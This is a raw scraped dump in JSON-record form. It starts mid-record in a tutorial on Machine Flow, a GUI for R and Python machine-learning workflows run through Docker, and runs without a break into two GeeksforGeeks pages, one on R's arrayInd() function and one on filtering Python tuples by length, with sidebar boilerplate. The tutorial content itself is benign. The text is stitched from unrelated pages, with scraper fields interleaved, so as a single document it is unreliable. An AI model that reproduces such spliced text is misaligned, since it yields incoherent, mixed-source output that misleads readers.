steps:" }, { "code": null, "e": 12543, "s": 12082, "text": "Wait until back-end has completed processing before showing results on front-end: Since the workflow will involve running compute-intensive tasks, the front-end must wait for back-end processing to finish before trying to display results. As long as we are calling REST endpoints this is fairly straightforward. For example, the Promise interface in jQuery’s $.ajax method ensures we can hold off executing additional JavaScript until the request has finished." }, { "code": null, "e": 12769, "s": 12543, "text": "I created Machine Flow to make manifest the philosophy discussed in this article. Machine Flow encompasses the above technical requirements, and allows Data Scientists and Data Teams to work towards GUI-fying their workflows." }, { "code": null, "e": 12967, "s": 12769, "text": "Machine Flow enables visual execution and tracking of machine learning workflows. Users dynamically create dependency graphs, with each node responsible for executing a task and displaying results." }, { "code": null, "e": 13261, "s": 12967, "text": "Machine Flow provides both Develop Mode and Service Mode. Develop Mode is used to actively add new R and/or Python code to our service. Any additions/changes to R or Python are exposed immediately by their respective REST endpoints, allowing Data Scientists to quickly build their GUI-service." }, { "code": null, "e": 13649, "s": 13261, "text": "Service Mode is used when there is a significant amount of machine learning capability already added to a Data Scientist’s GUI-service. In this scenario, there is less need to move back-and-forth between the back-end and front-end. The idea behind Service Mode is to provide a containerized runtime, that team members use to build machine learning workflows without having to write code." }, { "code": null, "e": 13772, "s": 13649, "text": "We will start with Develop Mode since this gets us up-and-running, and is how most Data Scientists would use Machine Flow." }, { "code": null, "e": 13926, "s": 13772, "text": "You can review the README by exploring the project on GitHub. The easiest way to download Machine Flow is to open terminal and run the following command:" }, { "code": null, "e": 13991, "s": 13926, "text": "git clone https://github.com/WorldofDataScience/machine_flow.git" }, { "code": null, "e": 14071, "s": 13991, "text": "This will bring Machine Flow into your directory. Type ls to view the contents:" }, { "code": null, "e": 14155, "s": 14071, "text": "machine_flow├── README.md├── app├── data├── docker-compose.yml├── python_ml├── r_ml" }, { "code": null, "e": 14196, "s": 14155, "text": "The 4 subdirectories are most important:" }, { "code": null, "e": 14236, "s": 14196, "text": "app contains the front-end application;" }, { "code": null, "e": 14271, "s": 14236, "text": "data holds datasets and log files;" }, { "code": null, "e": 14307, "s": 14271, "text": "python_ml holds our python scripts;" }, { "code": null, "e": 14333, "s": 14307, "text": "r_ml holds our R scripts." }, { "code": null, "e": 14459, "s": 14333, "text": "First, let’s run Machine Flow’s front-end. We can start a simple Python web server running the following command in terminal:" }, { "code": null, "e": 14482, "s": 14459, "text": "python3 -m http.server" }, { "code": null, "e": 14561, "s": 14482, "text": "We are now serving HTTP on port 8000. Open your browser to the following link:" }, { "code": null, "e": 14605, "s": 14561, "text": "http://localhost:8000/app/machine_flow.html" }, { "code": null, "e": 14672, "s": 14605, "text": "You should see the Machine Flow application with a blank workflow." }, { "code": null, "e": 14835, "s": 14672, "text": "Our front-end runs R and Python code by sending functions to our back-end via REST endpoints. As such, we need to start our R and Python services in the back-end." }, { "code": null, "e": 14971, "s": 14835, "text": "Open 2 new tabs in terminal. In the first new tab, change into the r_ml directory and run the following command to start the R service:" }, { "code": null, "e": 14987, "s": 14971, "text": "node connect.js" }, { "code": null, "e": 15099, "s": 14987, "text": "In the other new tab, change into the python_ml directory and run the same command to start the Python service:" }, { "code": null, "e": 15115, "s": 15099, "text": "node connect.js" }, { "code": null, "e": 15175, "s": 15115, "text": "Each tab should show its respective service ready to serve:" }, { "code": null, "e": 15210, "s": 15175, "text": "> R Machine Learning on port: 9191" }, { "code": null, "e": 15250, "s": 15210, "text": "> Python Machine Learning on port: 8181" }, { "code": null, "e": 15402, "s": 15250, "text": "Any dataset we work with must be added to the data folder. You can add this any way you want; the only real requirement is all data are in JSON format." }, { "code": null, "e": 15452, "s": 15402, "text": "Let’s add the Boston Housing Dataset from GitHub:" }, { "code": null, "e": 15528, "s": 15452, "text": "https://raw.githubusercontent.com/selva86/datasets/master/BostonHousing.csv" }, { "code": null, "e": 15722, "s": 15528, "text": "Open a new tab in terminal (make sure you’re in the machine_flow directory) and start an R session by typing R + enter. We add data to our data folder, in JSON format, by running the following:" }, { "code": null, "e": 15848, "s": 15722, "text": "library(jsonlite)df <- read.csv('https://url_to_boston_data.csv')df_json <- toJSON(df)write(df_json, file='data/boston.json')" }, { "code": null, "e": 15944, "s": 15848, "text": "We can use the same approach in Python, by starting a Python session and running the following:" }, { "code": null, "e": 16106, "s": 15944, "text": "import pandas as pdimport jsondf = pd.read_csv('https://url_to_boston_data.csv')with open('data/boston.json', 'w') as f: f.write(df.to_json(orient='records'))" }, { "code": null, "e": 16219, "s": 16106, "text": "In either case, the JSON output has the following format, where each observation is contained in its own object:" }, { "code": null, "e": 16364, "s": 16219, "text": "[{ \"feature_a\" : \"100\", \"feature_b\" : \"150\", \"feature_c\" : \"40\" }, { \"feature_a\" : \"720\", \"feature_b\" : \"14\", \"feature_c\" : \"431\" },....}]" }, { "code": null, "e": 16601, "s": 16364, "text": "For our front-end to do anything useful with our data we must add R and/or Python functions to the back-end. Before writing our first back-end function we need review a few requirements to make back-end functions work with Machine Flow." }, { "code": null, "e": 16906, "s": 16601, "text": "Every back-end function must have its first 2 arguments as read_path and write_path. These are used by the function to read the correct dataset and write the result to the correct path. These paths are managed automatically by Machine Flow, so we only have to ensure we use them in our back-end function." }, { "code": null, "e": 17027, "s": 16906, "text": "As we can see in the above figure, any additional arguments needed for our function come after read_path and write_path." }, { "code": null, "e": 17171, "s": 17027, "text": "We also ensure every function ends with a return(‘done’) statement.This tells the node layer that R/Python has finished executing its function." }, { "code": null, "e": 17206, "s": 17171, "text": "Adding our First Back-End Function" }, { "code": null, "e": 17390, "s": 17206, "text": "The first back-end function that must be supplied is the list_data function. Machine Flow requires we name this function list_data. All other functions can be named whatever you like." }, { "code": null, "e": 17488, "s": 17390, "text": "We can of course use either R or Python to write our list_data function. I will use R as follows:" }, { "code": null, "e": 17648, "s": 17488, "text": "list_data <- function(read_path, write_path) { res <- toJSON(list.files(read_path, pattern = \".json\")) write(res, file=write_path) return('done') }" }, { "code": null, "e": 17831, "s": 17648, "text": "This uses R’s native list.files function to list all files in the path provided. Notice I added the read_path and write_path as arguments, and used them as needed inside my function." }, { "code": null, "e": 17862, "s": 17831, "text": "Where do we put this function?" }, { "code": null, "e": 17977, "s": 17862, "text": "We add our back-end functions to the appropriate script inside the r_ml and python_ml directories of Machine Flow." }, { "code": null, "e": 18107, "s": 17977, "text": "machine_flowr_ml├── R_Scripts └── data_gathering.R └── data_preparation.R └── model_building.R └── model_validation.R" }, { "code": null, "e": 18280, "s": 18107, "text": "It makes more sense to open an IDE at this point, rather than just terminal, since we will be managing multiple scripts. I use PyCharm; you can use whatever suits you best." }, { "code": null, "e": 18740, "s": 18280, "text": "Since we wrote our list_data function in R we add it to our R_Scripts. Navigate to R_Scripts inside the r_ml directory and open its contents. Open utility_functions.R. You will see Machine Flow comes with the list_data function already added, along with a few other functions. Since it’s already there we don’t need to add it. If you are listing files with Python instead you can add your list_data function to utility_functions.py in the python_ml directory." }, { "code": null, "e": 18856, "s": 18740, "text": "Since we have a back-end function in place, we can open the Machine Flow GUI and add this function under ENDPOINTS:" }, { "code": null, "e": 19023, "s": 18856, "text": "Clicking on ENDPOINTS opens the FUNCTIONS overlay. This is where we tell the Machine Flow GUI what back-end functions are available from our machine learning service." }, { "code": null, "e": 19260, "s": 19023, "text": "We need to add our list_data function. The default endpoint is set to port 9191, which is the port for our R service so we won’t change that. We will add list_data as the function name, choose DATA as the expected output, and click ADD:" }, { "code": null, "e": 19454, "s": 19260, "text": "We need to specify the expected output of any back-end function we want to expose to the Machine Flow GUI. This ensures Machine Flow knows what kind of result to show when running the function." }, { "code": null, "e": 19657, "s": 19454, "text": "Close the FUNCTIONS overlay and click on the first node of your workflow. Hit the enter key to add a new node. Any node in the first layer is a DATA NODE. These nodes start a new branch on our workflow." }, { "code": null, "e": 19868, "s": 19657, "text": "Clicking ADD DATA pops open the modal and presents a dropdown, listing any datasets we added to the data folder. We can see the boston dataset we added, as well as the iris dataset that comes with Machine Flow." }, { "code": null, "e": 20107, "s": 19868, "text": "Select boston.json from the list to show the dataset. This is how we load data into our GUI to begin a new branch. If we wanted to add another dataset we would click on the root node and hit enter, choosing a different dataset to work on." }, { "code": null, "e": 20264, "s": 20107, "text": "Any node added after the first layer is a TASK NODE. This is how we build out our workflow, by adding and running tasks that branch off a starter data node." }, { "code": null, "e": 20484, "s": 20264, "text": "Click on the boston node and hit enter, then click on ADD TASK. Any functions we add to ENDPOINTS will appear in this dropdown. Since we haven’t added any functions yet (list_data is not listed here) we can do that now." }, { "code": null, "e": 20668, "s": 20484, "text": "Machine Flow comes with a few functions in both R and Python to run through this tutorial. We can imagine these are endpoints either written by us or exposed by our Data Science team." }, { "code": null, "e": 20730, "s": 20668, "text": "The functions that comes with Machine Flow are the following:" }, { "code": null, "e": 20754, "s": 20730, "text": "list_data (9191) (data)" }, { "code": null, "e": 20793, "s": 20754, "text": "show_outliers (9191) (image) (feature)" }, { "code": null, "e": 20836, "s": 20793, "text": "show_distribution (9191) (image) (feature)" }, { "code": null, "e": 20864, "s": 20836, "text": "show_missing (8181) (image)" }, { "code": null, "e": 20893, "s": 20864, "text": "normalize_data (9191) (data)" }, { "code": null, "e": 20934, "s": 20893, "text": "remove_features (9191) (data) (features)" }, { "code": null, "e": 20994, "s": 20934, "text": "split_data (8181) (data) (target_feature, split_percentage)" }, { "code": null, "e": 21030, "s": 20994, "text": "run_linear_regression (8181) (data)" }, { "code": null, "e": 21065, "s": 21030, "text": "actual_vs_predicted (8181) (image)" }, { "code": null, "e": 21089, "s": 21065, "text": "show_mse (8181) (image)" }, { "code": null, "e": 21119, "s": 21089, "text": "show_r_squared (8181) (image)" }, { "code": null, "e": 21275, "s": 21119, "text": "The port is shown in the first parentheses. The expected output is shown in the second parentheses. If needed, parameters are shown in the 3rd parentheses." }, { "code": null, "e": 21466, "s": 21275, "text": "Let’s use these to experiment with the Boston dataset. Open ENDPOINTS and add each function with its expected output. Check to ensure the port number on the endpoint is correct per function:" }, { "code": null, "e": 21600, "s": 21466, "text": "Some of these functions require parameters as well. We can add those by clicking on the parameters icon for the appropriate function:" }, { "code": null, "e": 21717, "s": 21600, "text": "When we save our workflow later these endpoints, functions and parameters are saved so we won’t need to re-add them." }, { "code": null, "e": 21958, "s": 21717, "text": "Everything is in place to start building out workflows with our Boston dataset. Click on ADD TASK and check the dropdown. You should now see all the functions we added. Let’s start exploring the data. Choose show_outliers from the dropdown:" }, { "code": null, "e": 22370, "s": 21958, "text": "When we choose a function we are presented with input fields for any features expected, as well as a function call, which is the back-end function that gets called. The first 2 arguments are the read_path and write_path that gets passed to our back-end function. These are set automatically by Machine Flow so we can leave those alone. As we type in the parameter it gets added dynamically to the function call." }, { "code": null, "e": 22551, "s": 22370, "text": "This particular function accepts an ALL argument to be passed as the feature parameter, which is useful when wanting to spot outliers. Type in ALL in the input field and click RUN:" }, { "code": null, "e": 22825, "s": 22551, "text": "We can see the result is returned once the code on the back-end completes. As discussed in the requirements above, the visual produced is a native R visual. I also add a name to top of the modal and close it. Any time I click on this node the result of that task will show." }, { "code": null, "e": 22927, "s": 22825, "text": "There are a number of checks in place Machine Flow uses to ensure data dependencies are not violated:" }, { "code": null, "e": 22994, "s": 22927, "text": "You cannot run a task unless the parent node already ran its task;" }, { "code": null, "e": 23078, "s": 22994, "text": "You cannot change the dataset on a first layer node once its child node is created;" }, { "code": null, "e": 23186, "s": 23078, "text": "If the previous node is an image, Machine Flow will search the path until the most recent dataset is found." }, { "code": null, "e": 23330, "s": 23186, "text": "NOTE: A branch contains all nodes that share the same first-layer node. A path contains all nodes that are immediately connected to each other." }, { "code": null, "e": 23673, "s": 23330, "text": "Let’s continue building the workflow. Since outliers are most extreme for features crim, zn and b I am going to remove these features from the dataset. Let’s choose the remove_features function. We can see in the back-end this function was written to accept a comma-separated string of feature names, used to remove features from the dataset:" }, { "code": null, "e": 23943, "s": 23673, "text": "remove_features <- function(read_path, write_path, features) { res <- read_json(read_path) rem_vec <- unlist(strsplit(features, ', ')) res <- res[,!(names(res) %in% rem_vec)] res_json <- toJSON(res) write(res_json, file=write_path) return('done') }" }, { "code": null, "e": 24001, "s": 23943, "text": "We thus know how to add arguments for this function call:" }, { "code": null, "e": 24158, "s": 24001, "text": "We can see why we must provide expected outputs when we add endpoints. Whereas the first example produced an image this example shows the resultant dataset." }, { "code": null, "e": 24269, "s": 24158, "text": "I will now split the data, train a linear regression model, and show a plot of predicted versus actual values:" }, { "code": null, "e": 24478, "s": 24269, "text": "I can spin-off multiple types of validation from this branch, since it points back to the data trained by the model. Since this is regression I will check both the r-squared value, and the mean-squared error:" }, { "code": null, "e": 24800, "s": 24478, "text": "A major benefit of Machine Flow is the ability to rapidly attempt many options. For example, I started a new branch where instead of removing all features with outliers, I normalized the data, removed only the b feature, and chose a split percentage of 0.4. I then trained and validated a regression model like last time." }, { "code": null, "e": 24973, "s": 24800, "text": "I also created a new node halfway through the previous branch, after the data had been normalized and the b feature removed, then chose a different split percentage of 0.5." }, { "code": null, "e": 25094, "s": 24973, "text": "Finally I created yet another node off the original dataset and explored some of its distributions rather than outliers." }, { "code": null, "e": 25131, "s": 25094, "text": "This is what my workflow looks like:" }, { "code": null, "e": 25244, "s": 25131, "text": "Bring able to add new nodes at any point along any branch is more in-line with how Data Science work progresses." }, { "code": null, "e": 25583, "s": 25244, "text": "Another great feature of Machine Flow is the ability to highlight the path leading to a final result. This can be useful when workflows become large and complex. For example, I’d likely want to quickly see which steps led to my best R-Squared value of 0.688. I can pop open the node containing that result and click on the show path icon:" }, { "code": null, "e": 25974, "s": 25583, "text": "Machine Flow saves all work automatically in the browser. This means you can refresh, and even delete your cache, and your workflow will still be available. Of course we likely want to create more than one workflow, so clicking on the SAVE button will download a JSON file containing all nodes, endpoints, functions and parameters, as well as the read and write paths attached to each node." }, { "code": null, "e": 26061, "s": 25974, "text": "Loading a saved workflow is as simple as clicking on LOAD and uploading the JSON file." }, { "code": null, "e": 26185, "s": 26061, "text": "NOTE: You can share workflow files with other members on the team, as long as their GUI has access to the same data folder." }, { "code": null, "e": 26452, "s": 26185, "text": "As mentioned above, service mode is the goal we work towards; a containerized runtime that serves common machine learning tasks to an army of Data Scientists. This is a kind of “internal productization” where we create an application for use within our organization." }, { "code": null, "e": 26871, "s": 26452, "text": "We can imagine the data team actively adding new tasks to the service. The benefit of building custom GUI-services is the service is unique to the organization. No vendor tool is going to capture the nuanced modeling and validation that suits your organization’s product needs. Building an internal service that enables rapid assessment of new datasets, and viable pipelines, sets us up for fruitful product discovery." }, { "code": null, "e": 27282, "s": 26871, "text": "Machine Flow uses Docker volumes to persist data. As stated in the Docker documentation, volumes are the preferred mechanism for persisting data generated by and used by Docker containers. A great thing about volumes is they allow data to be communicated between the host machine and a Docker container in real-time. This is important since we should be able to add new datasets without restarting the service." }, { "code": null, "e": 27453, "s": 27282, "text": "Machine Flow uses Docker Compose to spin-up R and Python services in a single call. Docker Compose is a tool for defining and running multi-container Docker applications." }, { "code": null, "e": 27619, "s": 27453, "text": "If we look at docker-compose.yml inside Machine Flow we can see where the volumes are mounted. We need to set the path under volumes to our machine’s root directory:" }, { "code": null, "e": 27921, "s": 27619, "text": "version: '3'services: r_ml: # builds R_ML Dockerfile build: ./r_ml ports: - \"9191:9191\" volumes: - /path_to_directory/data:/app/data python_ml: # builds Python_ML Dockerfile build: ./python_ml ports: - \"8181:8181\" volumes: - /path_to_directory/data:/app/data" }, { "code": null, "e": 28051, "s": 27921, "text": "The complete path needed for mounting volumes is the path we see when typing pwd in console (when in the machine_flow directory)." }, { "code": null, "e": 28146, "s": 28051, "text": "For example, on my local machine I add the following line before the :/app/data under volumes:" }, { "code": null, "e": 28223, "s": 28146, "text": "volumes: -/Users/seanmcclure/PycharmProjects/machine_flow/data:/app/data" }, { "code": null, "e": 28296, "s": 28223, "text": "Be sure to do this for both r_ml and python_ml sections of the yml file." }, { "code": null, "e": 28444, "s": 28296, "text": "Whereas Develop Mode can use libraries by simply importing them as needed, a containerized service must bring in these libraries in the Dockerfile." }, { "code": null, "e": 28480, "s": 28444, "text": "Adding libraries for the R service:" }, { "code": null, "e": 28810, "s": 28480, "text": "FROM r-base# install R packagesRUN R -e \"install.packages(c('dplyr', 'tidyr'), repos = 'http://cran.us.r-project.org', dependencies=TRUE)\"# install nodeRUN apt-get updateRUN apt-get install -y nodejsRUN apt-get install -y npmADD . /app# install node dependenciesRUN cd /app; npm installWORKDIR /appEXPOSE 9191CMD node connect.js" }, { "code": null, "e": 28908, "s": 28810, "text": "In this case, we simply list them within the RUN command. Above, I am installing dyplr and tidyr." }, { "code": null, "e": 28949, "s": 28908, "text": "Adding libraries for the Python service:" }, { "code": null, "e": 29135, "s": 28949, "text": "FROM nikolaik/python-nodejs# install Python modulesRUN pip3 install -U numpyRUN pip3 install -U scipyRUN pip3 install -U scikit-learnADD . /appWORKDIR /appEXPOSE 8181CMD node connect.js" }, { "code": null, "e": 29239, "s": 29135, "text": "For our Python service we install libraries using pip3 install. Note the -U flag for bypassing prompts." }, { "code": null, "e": 29491, "s": 29239, "text": "As we know, library installation doesn’t alway go as planned. Remember, Machine Flow has log files for both R and Python. To view log files inside the container simply “exec into” the container. For example, getting into the r_ml container we can run:" }, { "code": null, "e": 29544, "s": 29491, "text": "sudo docker exec -i -t machine_flow_r_ml_1 /bin/bash" }, { "code": null, "e": 29639, "s": 29544, "text": "... and look at the r_log.log file for R and py_log.log for Python, inside the data directory:" }, { "code": null, "e": 29657, "s": 29639, "text": "vi data/r_log.log" }, { "code": null, "e": 29771, "s": 29657, "text": "In Service Mode we need to make changes to the paths Machine Flow uses. First, click on the gear icon at the top:" }, { "code": null, "e": 29802, "s": 29771, "text": "And change the paths to these:" }, { "code": null, "e": 29875, "s": 29802, "text": "Also, open connect.js in both r_ml and python_ml directories and change:" }, { "code": null, "e": 29920, "s": 29875, "text": "fs.appendFileSync(\"../data/r_log.log\", data)" }, { "code": null, "e": 29923, "s": 29920, "text": "to" }, { "code": null, "e": 29965, "s": 29923, "text": "fs.appendFileSync(\"data/r_log.log\", data)" }, { "code": null, "e": 30037, "s": 29965, "text": "We build the r_ml and python_ml images using docker-compose by running:" }, { "code": null, "e": 30058, "s": 30037, "text": "docker-compose build" }, { "code": null, "e": 30097, "s": 30058, "text": "We then run our containers by running:" }, { "code": null, "e": 30115, "s": 30097, "text": "docker-compose up" }, { "code": null, "e": 30188, "s": 30115, "text": "You should see the following to confirm the services are up-and-running:" }, { "code": null, "e": 30346, "s": 30188, "text": "Attaching to machine_flow_r_ml_1, machine_flow_python_ml_1r_ml_1 | R Machine Learning on port: 9191python_ml_1 | Python Machine Learning on port: 8181" }, { "code": null, "e": 30498, "s": 30346, "text": "NOTE: If you are on the same machine as Develop Mode be sure to stop the node services running on ports 9191 and 8181 before running docker-compose up." }, { "code": null, "e": 31022, "s": 30498, "text": "Whether you want to start with Machine Flow or build your own GUI service, I think it’s important Data Science moves in this direction. GUI-fying the Machine Learning Workflow forms a complete DevOps responsibility by automating the required exploration that precedes product discovery. Machine learning does not have options, it has possibilities. By rapidly assessing the readiness of our data, and exposing viable paths from raw data to validated model, we set ourselves up for more success on machine learning projects." }, { "code": null, "e": 31102, "s": 31022, "text": "As always, if you run into issues please ask questions in the comments section." } ]
Get Indices of Specified Values of an Array in R Programming - arrayInd() Function - GeeksforGeeks
08 Jun, 2020 arrayInd() function in R Language is used to get the indices of the values passed to the function as argument. This function takes values and the array in which the values are to be searched and returns the indices for each match found. Syntax: arrayInd(values, dim(x)) Parameters:values: value or vector of values to be searcheddim(x): array to be searchedx: Array name Example 1: # R program to illustrate # the use of arrayInd() function # Creating an arrayx <- array(1:9, dim = c(2, 3)) x # Creating vector of values to be foundx1 <- c(5, 4, 6) # Calling arrayInd() functionarrayInd(x1, dim(x)) Output: [, 1] [, 2] [, 3] [1, ] 1 3 5 [2, ] 2 4 6 [, 1] [, 2] [1, ] 1 3 [2, ] 2 2 [3, ] 2 3 Example 2: # R program to illustrate # the use of arrayInd() function # Creating an arrayx <- array(1:9, dim = c(3, 3)) x # Extracting values using which() functionx1 <- which(x > 3 & x < 8) # Calling arrayInd() functionarrayInd(x1, dim(x)) Output: [, 1] [, 2] [, 3] [1, ] 1 4 7 [2, ] 2 5 8 [3, ] 3 6 9 [, 1] [, 2] [1, ] 1 2 [2, ] 2 2 [3, ] 3 2 [4, ] 1 3 Here, in tonhte above code, the arrayInd() function returns the indices of all the values which were returned by the which() function. R Array-Functions R Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Change Color of Bars in Barchart using ggplot2 in R How to Change Axis Scales in R Plots? Group by function in R using Dplyr How to Split Column Into Multiple Columns in R DataFrame? How to filter R DataFrame by values in a column? Replace Specific Characters in String in R How to filter R dataframe by multiple conditions? R - if statement How to import an Excel File into R ? Time Series Analysis in R
[ { "code": null, "e": 24851, "s": 24823, "text": "\n08 Jun, 2020" }, { "code": null, "e": 25088, "s": 24851, "text": "arrayInd() function in R Language is used to get the indices of the values passed to the function as argument. This function takes values and the array in which the values are to be searched and returns the indices for each match found." }, { "code": null, "e": 25121, "s": 25088, "text": "Syntax: arrayInd(values, dim(x))" }, { "code": null, "e": 25222, "s": 25121, "text": "Parameters:values: value or vector of values to be searcheddim(x): array to be searchedx: Array name" }, { "code": null, "e": 25233, "s": 25222, "text": "Example 1:" }, { "code": "# R program to illustrate # the use of arrayInd() function # Creating an arrayx <- array(1:9, dim = c(2, 3)) x # Creating vector of values to be foundx1 <- c(5, 4, 6) # Calling arrayInd() functionarrayInd(x1, dim(x))", "e": 25453, "s": 25233, "text": null }, { "code": null, "e": 25461, "s": 25453, "text": "Output:" }, { "code": null, "e": 25592, "s": 25461, "text": " [, 1] [, 2] [, 3]\n[1, ] 1 3 5\n[2, ] 2 4 6\n [, 1] [, 2]\n[1, ] 1 3\n[2, ] 2 2\n[3, ] 2 3\n" }, { "code": null, "e": 25603, "s": 25592, "text": "Example 2:" }, { "code": "# R program to illustrate # the use of arrayInd() function # Creating an arrayx <- array(1:9, dim = c(3, 3)) x # Extracting values using which() functionx1 <- which(x > 3 & x < 8) # Calling arrayInd() functionarrayInd(x1, dim(x))", "e": 25836, "s": 25603, "text": null }, { "code": null, "e": 25844, "s": 25836, "text": "Output:" }, { "code": null, "e": 26013, "s": 25844, "text": "\n [, 1] [, 2] [, 3]\n[1, ] 1 4 7\n[2, ] 2 5 8\n[3, ] 3 6 9\n [, 1] [, 2]\n[1, ] 1 2\n[2, ] 2 2\n[3, ] 3 2\n[4, ] 1 3\n" }, { "code": null, "e": 26148, "s": 26013, "text": "Here, in tonhte above code, the arrayInd() function returns the indices of all the values which were returned by the which() function." }, { "code": null, "e": 26166, "s": 26148, "text": "R Array-Functions" }, { "code": null, "e": 26177, "s": 26166, "text": "R Language" }, { "code": null, "e": 26275, "s": 26177, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26284, "s": 26275, "text": "Comments" }, { "code": null, "e": 26297, "s": 26284, "text": "Old Comments" }, { "code": null, "e": 26349, "s": 26297, "text": "Change Color of Bars in Barchart using ggplot2 in R" }, { "code": null, "e": 26387, "s": 26349, "text": "How to Change Axis Scales in R Plots?" }, { "code": null, "e": 26422, "s": 26387, "text": "Group by function in R using Dplyr" }, { "code": null, "e": 26480, "s": 26422, "text": "How to Split Column Into Multiple Columns in R DataFrame?" }, { "code": null, "e": 26529, "s": 26480, "text": "How to filter R DataFrame by values in a column?" }, { "code": null, "e": 26572, "s": 26529, "text": "Replace Specific Characters in String in R" }, { "code": null, "e": 26622, "s": 26572, "text": "How to filter R dataframe by multiple conditions?" }, { "code": null, "e": 26639, "s": 26622, "text": "R - if statement" }, { "code": null, "e": 26676, "s": 26639, "text": "How to import an Excel File into R ?" } ]
Tryit Editor v3.7
HTML Input types Tryit: input type = month
[ { "code": null, "e": 27, "s": 10, "text": "HTML Input types" } ]
What does the explicit keyword mean in C++?
The explicit keyword in C++ is used to mark constructors to not implicitly convert types. For example, if you have a class Foo − class Foo { public: Foo(int n); // allocates n bytes to the Foo object Foo(const char *p); // initialize object with char *p }; Now if you try Foo mystring = 'x'; The char 'x' is implicitly converted to int and then will call the Foo(int) constructor. But this is not what was intended. So to prevent such conditions and make the code less error-prone, define the constructor as explicit − class Foo { public: explicit Foo (int n); //allocate n bytes Foo(const char *p); // initialize with string p };
[ { "code": null, "e": 1191, "s": 1062, "text": "The explicit keyword in C++ is used to mark constructors to not implicitly convert types. For example, if you have a class Foo −" }, { "code": null, "e": 1327, "s": 1191, "text": "class Foo {\npublic:\n Foo(int n); // allocates n bytes to the Foo object\n Foo(const char *p); // initialize object with char *p\n};" }, { "code": null, "e": 1342, "s": 1327, "text": "Now if you try" }, { "code": null, "e": 1362, "s": 1342, "text": "Foo mystring = 'x';" }, { "code": null, "e": 1589, "s": 1362, "text": "The char 'x' is implicitly converted to int and then will call the Foo(int) constructor. But this is not what was intended. So to prevent such conditions and make the code less error-prone, define the constructor as explicit −" }, { "code": null, "e": 1716, "s": 1589, "text": "class Foo {\n public:\n explicit Foo (int n); //allocate n bytes\n Foo(const char *p); // initialize with string p\n};" } ]
Python - Filter Range Length Tuples - GeeksforGeeks
14 Jan, 2020 Sometimes, while working with records, we might desire to filter records in such a way in which we need to discard records that do not contains exact number of elements required to constitute a record and lie in a range. Let’s discuss certain ways in which this task can be performed. Method #1 : Using list comprehension + len()In this method, we just iterate through the list and discard the tuples that do not match the matching range length required to constitute the record. The computation of length is done by len(). # Python3 code to demonstrate working of# Filter Range Length Tuples# Using list comprehension + len() # Initializing listtest_list = [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)] # printing original listprint("The original list is : " + str(test_list)) # Initializing desired lengths i, j = 2, 3 # Filter Range Length Tuples# Using list comprehension + len()res = [sub for sub in test_list if len(sub) >= i and len(sub) <= j] # printing resultprint("The tuple list after filtering range records : " + str(res)) The original list is : [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)] The tuple list after filtering range records : [(5, 6), (2, 3, 5), (5, 9)] Method #2 : Using filter() + lambda + len()The combination of above functions can also be used to perform this particular task. In this, we just use filter() and use lambda function to filter range length records. # Python3 code to demonstrate working of# Filter Range Length Tuples# Using filter() + lambda + len() # Initializing listtest_list = [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)] # printing original listprint("The original list is : " + str(test_list)) # Initializing desired lengths i, j = 2, 3 # Filter Range Length Tuples# Using filter() + lambda + len()res = list(filter(lambda ele: len(ele) >= i and len(ele) <= j, test_list)) # printing resultprint("The tuple list after filtering range records : " + str(res)) The original list is : [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)] The tuple list after filtering range records : [(5, 6), (2, 3, 5), (5, 9)] Python list-programs Python tuple-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Python Dictionary How to Install PIP on Windows ? Read a file line by line in Python Different ways to create Pandas Dataframe Python program to convert a list to string Python program to convert a list to string Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary
[ { "code": null, "e": 24270, "s": 24242, "text": "\n14 Jan, 2020" }, { "code": null, "e": 24555, "s": 24270, "text": "Sometimes, while working with records, we might desire to filter records in such a way in which we need to discard records that do not contains exact number of elements required to constitute a record and lie in a range. Let’s discuss certain ways in which this task can be performed." }, { "code": null, "e": 24794, "s": 24555, "text": "Method #1 : Using list comprehension + len()In this method, we just iterate through the list and discard the tuples that do not match the matching range length required to constitute the record. The computation of length is done by len()." }, { "code": "# Python3 code to demonstrate working of# Filter Range Length Tuples# Using list comprehension + len() # Initializing listtest_list = [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)] # printing original listprint(\"The original list is : \" + str(test_list)) # Initializing desired lengths i, j = 2, 3 # Filter Range Length Tuples# Using list comprehension + len()res = [sub for sub in test_list if len(sub) >= i and len(sub) <= j] # printing resultprint(\"The tuple list after filtering range records : \" + str(res))", "e": 25318, "s": 24794, "text": null }, { "code": null, "e": 25466, "s": 25318, "text": "The original list is : [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)]\nThe tuple list after filtering range records : [(5, 6), (2, 3, 5), (5, 9)]\n" }, { "code": null, "e": 25682, "s": 25468, "text": "Method #2 : Using filter() + lambda + len()The combination of above functions can also be used to perform this particular task. In this, we just use filter() and use lambda function to filter range length records." }, { "code": "# Python3 code to demonstrate working of# Filter Range Length Tuples# Using filter() + lambda + len() # Initializing listtest_list = [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)] # printing original listprint(\"The original list is : \" + str(test_list)) # Initializing desired lengths i, j = 2, 3 # Filter Range Length Tuples# Using filter() + lambda + len()res = list(filter(lambda ele: len(ele) >= i and len(ele) <= j, test_list)) # printing resultprint(\"The tuple list after filtering range records : \" + str(res))", "e": 26211, "s": 25682, "text": null }, { "code": null, "e": 26359, "s": 26211, "text": "The original list is : [(4, ), (5, 6), (2, 3, 5), (5, 6, 8, 2), (5, 9)]\nThe tuple list after filtering range records : [(5, 6), (2, 3, 5), (5, 9)]\n" }, { "code": null, "e": 26380, "s": 26359, "text": "Python list-programs" }, { "code": null, "e": 26402, "s": 26380, "text": "Python tuple-programs" }, { "code": null, "e": 26409, "s": 26402, "text": "Python" }, { "code": null, "e": 26425, "s": 26409, "text": "Python Programs" }, { "code": null, "e": 26523, "s": 26425, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26532, "s": 26523, "text": "Comments" }, { "code": null, "e": 26545, "s": 26532, "text": "Old Comments" }, { "code": null, "e": 26563, 